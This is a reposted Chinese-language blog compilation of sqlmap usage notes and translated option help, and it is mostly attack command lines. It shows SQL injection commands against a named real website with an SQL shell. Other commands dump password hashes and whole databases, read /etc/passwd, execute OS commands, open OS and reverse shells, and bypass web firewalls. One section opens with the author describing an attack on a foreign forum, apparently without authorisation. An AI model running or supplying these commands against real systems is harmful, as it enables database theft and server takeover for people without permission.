sqlmap 是一個自動SQL 射入工具。它是可勝任執行一個廣泛的數據庫管理系統后端指印, 檢索遙遠的DBMS 數據庫, usernames, 桌, 專欄, 列舉整個DBMS, 讀了系統文件和利用導致SQL 射入弱點的網應用編程的安全漏洞。
有許多其它SQL 射入工具在網, 但我不能發現任何人適合所有我的需要因此我感到需要在我的滲透測試期間給成功地寫我自己的工具測試, 辨認和利用網應用的SQL 射入在安全上的弱點。
sqlmap簡單中文說明
首先下載需要的文件,如果是windows環境直接到#下載安裝所需要的文件即可。
這個東西,是mickey整理的,不多說了,尊重一下原作者,轉載注明mickey整理就好了
更新
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
sqlmap.py -u “http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1″ -v 1 –sql-shell //執行SQL語句
sqlmap.py -u “http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1″ -v 5 //更詳細的信息
load options from a configuration INI file
sqlmap -c sqlmap.conf
使用POST方法提交
sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/post_int.php” –method POST –data “id=1″
使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData來抓cookies
python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/cookie_int.php” –cookie “id=1″ -v 1
使用referer欺騙
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –referer “http://www.google.com” -v 3
使用自定義user-agent,或者使用隨機使用自帶的user-agents.txt
python sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/get_int.php?id=1″ –user-agent “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)” -v 3
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ -v 1 -a “./txt/user-agents.txt”
使用基本認證
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1″ –auth-type Basic –auth-cred “testuser:testpass” -v 3
使用Digest認證
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1″ –auth-type Digest –auth-cred “testuser:testpass” -v 3
使用代理,配合TOR
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –proxy “http://192.168.1.47:3128″
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –proxy “http://192.168.1.47:8118″
使用多線程猜解
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ -v 1 –current-user –threads 3
繞過動態檢測,直接指定有注入點的參數,可以使用,分割多個參數,指定user-agent注入
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -v 1 -p “id
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2″ -v 1 -p “cat,id”
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/ua_str.php” -v 1 -p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)”
指定數據庫,繞過SQLMAP的自動檢測
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -v 2 –dbms “PostgreSQL”
* MySQL
* Oracle
* PostgreSQL
* Microsoft SQL Server
指定操作系統,繞過SQLMAP自動檢測
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -v 2 –os “Windows”
* Linux
* Windows
自定義payload
Options: –prefix and –postfix
In some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and/or postfix.
Example on a MySQL 5.0.67 target on a page where the SQL query is: $query = “SELECT * FROM users WHERE id=(‘” . $_GET['id'] . “‘) LIMIT 0, 1″;:
$ python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1″ -v 3 -p “id” –prefix “‘” –postfix “AND ‘test’='test”
[...]
[hh:mm:16] [INFO] testing sql injection on GET parameter ‘id’ with 0 parenthesis
[hh:mm:16] [INFO] testing custom injection on GET parameter ‘id’
[hh:mm:16] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20
%28%27test%27=%27test HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:17] [INFO] GET parameter ‘id’ is custom injectable
[...]
As you can see, the injection payload for testing for custom injection is:
id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test
which URL decoded is:
id=1′) AND 7433=7433 AND (‘test’='test
and makes the query syntatically correct to the page query:
SELECT * FROM users WHERE id=(’1′) AND 7433=7433 AND (‘test’='test’) LIMIT 0, 1
In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.
頁面比較
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1″ –string “luther” -v 1
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1″ –regexp “<td>lu[\w][\w]er” -v
排除網站的內容
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1″ –excl-reg “Dynamic content: ([\d]+)”
多語句測試,php內嵌函數mysql_query(),不支持多語句
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –stacked-test -v 1
union注入測試
python sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/get_int.php?id=1″ –union-test -v 1
unionz注入配合orderby
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1″ –union-test –union-tech orderby -v 1
python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ -v 1 –union-use –banner
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ -v 5 –union-use –current-user
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_partialunion.php?id=1″ -v 1 –union-use –dbs
fingerprint
python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ -v 1 -f
python sqlmap.py -u “http://192.168.123.36/sqlmap/get_str.asp?name=luther” -v 1 -f -b
判斷當前用戶是否是dba
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –is-dba -v 1
列舉數據庫用戶
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –users -v 0
列舉數據庫用戶密碼
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –passwords -v 0
python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –passwords -U sa -v 0
查看用戶權限
python sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/get_int.php?id=1″ –privileges -v 0
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –privileges -U postgres -v 0
列數據庫
python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –dbs -v 0
列出指定數據庫指定表的列名
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –columns -T users -D test -v 1
列出指定數據庫的指定表的指定列的內容
python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –dump -T users -D master -C surname -v 0
指定列的范圍從2-4
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –dump -T users -D test –start 2 –stop 4 -v 0
導出所有數據庫,所有表的內容
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –dump-all -v 0
只列出用戶自己新建的數據庫和表的內容
python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –dump-all –exclude-sysdbs -v 0
sql query
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –sql-query “SELECT usename FROM pg_user” -v 0
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –sql-query “SELECT host, password FROM mysql.user LIMIT 1, 3″ -v 1
SELECT usename, passwd FROM pg_shadow ORDER BY usename
保存和恢復會話
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -b -v 1 -s “sqlmap.log”
保存選項到INC配置文件
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -b -v 1 –save
sqlmap注入使用方法
今天搞國外的一個論壇。發現蘿卜和穿山甲都無法正常注入,實在沒辦法了 還是臨時學習了下國外的神器sqlmap的使用方法,,直接做個記錄、、
sqlmap -u “http://url/news?id=1″ –current-user #獲取當前用戶名稱 sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #獲取當前數 據庫名稱
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name” #列 表名
sqlmap -u “http://url/news?id=1″ –columns -T “tablename” users-D “db_name” -v 0 #列字段
sqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name” -D “db_name” -v
0 #獲取字段內容
******************信息獲取******************
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定數 據庫類型
sqlmap -u “http://url/news?id=1″ –users #列數據庫用戶
sqlmap -u “http://url/news?id=1″ –dbs#列數據庫
sqlmap -u “http://url/news?id=1″ –passwords #數據庫用戶密碼
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用戶 數據庫密碼
sqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename” -D “db_name”
–start 1 –stop 20 #列出指定字段,列出20 條
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有數據庫所有表
sqlmap -u “http://url/news?id=1″ –privileges #查看權限
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用戶權限 sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是數據庫管理員 sqlmap -u “http://url/news?id=1″ –roles #枚舉數據庫用戶角色
sqlmap -u “http://url/news?id=1″ –udf-inject #導入用戶自定義函數(獲取 系統權限!)
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出當前庫所有表
sqlmap -u “http://url/news?id=1″ –union-cols #union 查詢表記錄
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE” #cookie注入
sqlmap -u “http://url/news?id=1″ -b #獲取banner信息
sqlmap -u “http://url/news?id=1″ –data “id=3″ #post注入
sqlmap -u “http://url/news?id=1″ -v 1 -f #指紋判別數據庫類型
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE” # 指 定關鍵詞
sqlmap -u “http://url/news?id=1″ –sql-shell #執行指定sql命令
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #執行系統命令
sqlmap -u “http://url/news?id=1″ –os-shell #系統交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反彈shell
sqlmap -u “http://url/news?id=1″ –reg-read #讀取win系統注冊表
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log” #保存進度
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢復 已保存進度
***********高級用法*************
-p name 多個參數如index.php?n_id=1&name=2&data=2020 我們想指定name參數進行注入
sqlmap -g “google語法” –dump-all –batch #google搜索注入點自動 跑出 所有字段 需保證google.com能正常訪問
–technique 測試指定注入類型\使用的技術
不加參數默認測試所有注入技術
• B: 基于布爾的 SQL 盲注
• E: 基于顯錯 sql 注入
• U: 基于 UNION 注入
• S: 疊層 sql 注入
• T: 基于時間盲注
–tamper 通過編碼繞過 WEB 防火墻(WAF) Sqlmap 默認用 char()
–tamper 插件所在目錄
\sqlmap-dev\tamper
sqlmap -u “http://url/news?id=1″ –smart –level 3 –users # smart 智 能
level 執行測試等級 攻擊實例:
Sqlmap -u “http://url/news?id=1&Submit=Submit”
–cookie=”PHPSESSID=41aa833e6d0d
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
–password
參考文檔:http://sqlmap.sourceforge.net/doc/README.html
***********安裝最新版本*************
ubuntu 通過 apt-get install 安裝的sqlmap版本為 0.6 我們通過svn 來安裝 為 最新 1.0版
sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安裝的位置為:/home/當前用戶/sqlmap-dev/sqlmap.py 直接執行 /home/當前用戶/sqlmap-dev/sqlmap.py –version 這樣很不方便 我們可以設置 .bashrc 文件
sudo vim /home/當前用戶/.bashrc
#任意位置加上:
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 該環境變量只對當前用戶有效
如果想對所有用戶有效 可設置全局 編輯下面的文件
vim /etc/profile
同樣加上:
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重啟生效
******************windows 7 (x64) sqlmap install (SVN)************
http://www.python.org/getit/ 安裝python
http://www.sliksvn.com/en/download 安裝windows svn client
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安裝sqlmap
*修改環境變量
–version 顯示程序的版本號并退出
-h, –help 顯示此幫助消息并退出
-v VERBOSE 詳細級別:0-6(默認為 1)
Target(目標): 以下至少需要設置其中一個選項,設置目標 URL。
-d DIRECT 直接連接到數據庫。
-u URL, –url=URL 目標 URL。
-l LIST 從 Burp 或 WebScarab 代理的日志中解析目標。
-r REQUESTFILE 從一個文件中載入 HTTP 請求。
-g GOOGLEDORK 處理 Google dork 的結果作為目標 URL。
-c CONFIGFILE 從 INI 配置文件中加載選項。
Request(請求)::
這些選項可以用來指定如何連接到目標 URL。
–data=DATA 通過 POST 發送的數據字符串
–cookie=COOKIE HTTP Cookie 頭
–cookie-urlencode URL 編碼生成的 cookie 注入
–drop-set-cookie 忽略響應的 Set – Cookie 頭信息
–user-agent=AGENT 指定 HTTP User – Agent 頭
–random-agent 使用隨機選定的 HTTP User – Agent 頭
–referer=REFERER 指定 HTTP Referer 頭
–headers=HEADERS 換行分開,加入其他的 HTTP 頭
–auth-type=ATYPE HTTP 身份驗證類型(基本,摘要或 NTLM)(Basic, Digest or NTLM)
–auth-cred=ACRED HTTP 身份驗證憑據(用戶名:密碼)
–auth-cert=ACERT HTTP 認證證書(key_file,cert_file)
–proxy=PROXY 使用 HTTP 代理連接到目標 URL
–proxy-cred=PCRED HTTP 代理身份驗證憑據(用戶名:密碼)
–ignore-proxy 忽略系統默認的 HTTP 代理
–delay=DELAY 在每個 HTTP 請求之間的延遲時間,單位為秒
–timeout=TIMEOUT 等待連接超時的時間(默認為 30 秒)
–retries=RETRIES 連接超時后重新連接的時間(默認 3)
–scope=SCOPE 從所提供的代理日志中過濾器目標的正則表達式
–safe-url=SAFURL 在測試過程中經常訪問的 url 地址
–safe-freq=SAFREQ 兩次訪問之間測試請求,給出安全的 URL
Optimization(優化): 這些選項可用于優化 SqlMap 的性能。
-o 開啟所有優化開關
–predict-output 預測常見的查詢輸出
–keep-alive 使用持久的 HTTP(S)連接
–null-connection 從沒有實際的 HTTP 響應體中檢索頁面長度
–threads=THREADS 最大的 HTTP(S)請求并發量(默認為 1)
Injection(注入):
這些選項可以用來指定測試哪些參數, 提供自定義的注入 payloads 和可選篡改腳本。
-p TESTPARAMETER 可測試的參數(S)
–dbms=DBMS 強制后端的 DBMS 為此值
–os=OS 強制后端的 DBMS 操作系統為這個值
–prefix=PREFIX 注入 payload 字符串前綴
–suffix=SUFFIX 注入 payload 字符串后綴
–tamper=TAMPER 使用給定的腳本(S)篡改注入數據
Detection(檢測):
這些選項可以用來指定在 SQL 盲注時如何解析和比較 HTTP 響應頁面的內容。
–level=LEVEL 執行測試的等級(1-5,默認為 1)
–risk=RISK 執行測試的風險(0-3,默認為 1)
–string=STRING 查詢時有效時在頁面匹配字符串
–regexp=REGEXP 查詢時有效時在頁面匹配正則表達式
–text-only 僅基于在文本內容比較網頁
Techniques(技巧): 這些選項可用于調整具體的 SQL 注入測試。
–technique=TECH SQL 注入技術測試(默認 BEUST)
–time-sec=TIMESEC DBMS 響應的延遲時間(默認為 5 秒)
–union-cols=UCOLS 定列范圍用于測試 UNION 查詢注入
–union-char=UCHAR 用于暴力猜解列數的字符
Fingerprint(指紋):
-f, –fingerprint 執行檢查廣泛的 DBMS 版本指紋
Enumeration(枚舉):
這些選項可以用來列舉后端數據庫管理系統的信息、表中的結構和數據。此外,您還可以運行您自己 的 SQL 語句。
-b, –banner 檢索數據庫管理系統的標識
–current-user 檢索數據庫管理系統當前用戶
–current-db 檢索數據庫管理系統當前數據庫
–is-dba 檢測 DBMS 當前用戶是否 DBA
–users 枚舉數據庫管理系統用戶
–passwords 枚舉數據庫管理系統用戶密碼哈希
–privileges 枚舉數據庫管理系統用戶的權限
–roles 枚舉數據庫管理系統用戶的角色
–dbs 枚舉數據庫管理系統數據庫
–tables 枚舉的 DBMS 數據庫中的表
–columns 枚舉 DBMS 數據庫表列
–dump 轉儲數據庫管理系統的數據庫中的表項
–dump-all 轉儲所有的 DBMS 數據庫表中的條目
–search 搜索列(S),表(S)和/或數據庫名稱(S)
-D DB 要進行枚舉的數據庫名
-T TBL 要進行枚舉的數據庫表
-C COL 要進行枚舉的數據庫列
-U USER 用來進行枚舉的數據庫用戶
–exclude-sysdbs 枚舉表時排除系統數據庫
–start=LIMITSTART 第一個查詢輸出進入檢索
–stop=LIMITSTOP 最后查詢的輸出進入檢索
–first=FIRSTCHAR 第一個查詢輸出字的字符檢索
–last=LASTCHAR 最后查詢的輸出字字符檢索
–sql-query=QUERY 要執行的 SQL 語句
–sql-shell 提示交互式 SQL 的 shell
Brute force(蠻力): 這些選項可以被用來運行蠻力檢查。
–common-tables 檢查存在共同表
–common-columns 檢查存在共同列
User-defined function injection(用戶自定義函數注入): 這些選項可以用來創建用戶自定義函數。
–udf-inject 注入用戶自定義函數
–shared-lib=SHLIB 共享庫的本地路徑
File system access(訪問文件系統): 這些選項可以被用來訪問后端數據庫管理系統的底層文件系統。
–file-read=RFILE 從后端的數據庫管理系統文件系統讀取文件
–file-write=WFILE 編輯后端的數據庫管理系統文件系統上的本地文件
–file-dest=DFILE 后端的數據庫管理系統寫入文件的絕對路徑
Operating system access(操作系統訪問): 這些選項可以用于訪問后端數據庫管理系統的底層操作系統。
–os-cmd=OSCMD 執行操作系統命令
–os-shell 交互式的操作系統的 shell
–os-pwn 獲取一個 OOB shell,meterpreter 或 VNC
–os-smbrelay 一鍵獲取一個 OOB shell,meterpreter 或 VNC
–os-bof 存儲過程緩沖區溢出利用
–priv-esc 數據庫進程用戶權限提升
–msf-path=MSFPATH Metasploit Framework 本地的安裝路徑
–tmp-path=TMPPATH 遠程臨時文件目錄的絕對路徑
Windows 注冊表訪問: 這些選項可以被用來訪問后端數據庫管理系統 Windows 注冊表。
–reg-read 讀一個 Windows 注冊表項值
–reg-add 寫一個 Windows 注冊表項值數據
–reg-del 刪除 Windows 注冊表鍵值
–reg-key=REGKEY Windows 注冊表鍵
–reg-value=REGVAL Windows 注冊表項值
–reg-data=REGDATA Windows 注冊表鍵值數據
–reg-type=REGTYPE Windows 注冊表項值類型
General(一般): 這些選項可以用來設置一些一般的工作參數。
-t TRAFFICFILE 記錄所有 HTTP 流量到一個文本文件中
-s SESSIONFILE 保存和恢復檢索會話文件的所有數據
–flush-session 刷新當前目標的會話文件
–fresh-queries 忽略在會話文件中存儲的查詢結果
–eta 顯示每個輸出的預計到達時間
–update 更新 SqlMap
–save file 保存選項到 INI 配置文件
–batch 從不詢問用戶輸入,使用所有默認配置。
Miscellaneous(雜項):
–beep 發現 SQL 注入時提醒
–check-payload IDS 對注入 payloads 的檢測測試
–cleanup SqlMap 具體的 UDF 和表清理 DBMS
–forms 對目標 URL 的解析和測試形式
–gpage=GOOGLEPAGE 從指定的頁碼使用谷歌 dork 結果
–page-rank Google dork 結果顯示網頁排名(PR)
–parse-errors 從響應頁面解析數據庫管理系統的錯誤消息
–replicate 復制轉儲的數據到一個 sqlite3 數據庫
–tor 使用默認的 Tor(Vidalia/ Privoxy/ Polipo)代理地址
–wizard 給初級用戶的簡單向導界面
SQLMAP的部分用法
內容摘自網絡,整理:mer4en7y
1)判斷當前用戶是否是dba
python sqlmap.py -u "url" --is-dba -v 1
2)--users:列出數據庫管理系統用戶
python sqlmap.py -u "url" --users -v 0
3)--passwords:數據庫用戶密碼(hash)
python sqlmap.py -u "url" --passwords -v 0
python sqlmap.py -u "url" --passwords -U sa -v 0
4)查看用戶權限
python sqlmap.py -u "url" --privileges -v 0
python sqlmap.py -u "url" --privileges -U postgres -v 0
5)--dbs可以利用的數據庫
python sqlmap.py -u "url" --dbs -v 0
6)--tables列數據庫表
python sqlmap.py -u "url" --tables -D "information_scheam"
-D:指定數據名稱
7)--columns 列出表中的列名
python sqlmap.py -u "url" --columns -T "user" -D "mysql" -v 1
-T:指定表名,-D:指定庫名
8)--dump列表中指定列的內容
python sqlmap.py -u "url" --dump -T "users" -D "testdb"
-C:可以指定字段
指定列的范圍為2到4
python sqlmap.py -u "url" --dump -T "users" -D "testdb" --start 2 --stop 4 -v 0
9)--dumap-all列出所有數據庫,所有表內容
python sqlmap.py -u "url" --dump-all -v 0
只列出用戶自己新建的數據庫和表的內容
python sqlmap.py -u "url" --dump-all --exclude-sysdbs -v 0
10)--file讀取文件內容[load_file()函數]
python sqlmap.py -u "url" --file /etc/password
11)執行SQL
python sqlmap.py -u "url" --sql-shell
12)-p 指定參數
python sqlmap.py -u "url" -v 1 -p "id"
-p可以指定多參數-p "cat,id"
13)POST提交
python sqlmap.py -u "url" --method POST --data "id=1"
14)COOKIE提交
python sqlmap.py -u "url" --cookie "id=1" -v 1
cookie值可以由TamperData抓取
15)refer欺騙
python sqlmap.py -u "url" --refer "url" -v 3
16)使用自定義user-agent或者user-agents.txt
python sqlmap.py -u "url" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
python sqlmap.py -u "url" -v 1 -a "./txt/user-agents.txt"
17)使用多線程猜解
python sqlmap.py -u "url" -v 1 --current-user --threads 3
18)指定數據庫,繞過SQLMAP的自動檢測
python sqlmap.py -u "url" -v 2 --dbms "PostgreSQL"
19)指定操作系統繞過SQLMAP自動檢測
python sqlmap.py -u "url" -v 2 --os "Windows"
20)--prefix and --postfix自定義payload
python sqlmap.py -u "url" -v 3 -p "id" --prefix "'" --postfix "and 'test'='test"
21)union注入測試
python sqlmap.py -u "url" --union-test -v -1
22)配合order by
python sqlmap.py -u "url" --union-test --union-tech orderby -v 1
23)python sqlmap.py -u "url" -v 1 --union-use --banner
24)python sqlmap.py -u "url" -v 5 --union-use --current-user
25)python sqlmap.py -u "url" -v 1 --union-use --dbs
歡迎轉載:http://www.kanwencang.com/bangong/20161119/57047.html
文章列表
BloggerAds
- Dec 14 Thu 2017 23:49
SQLMAP 注射工具中文使用用法
文章出處
全站熱搜
留言列表
發表留言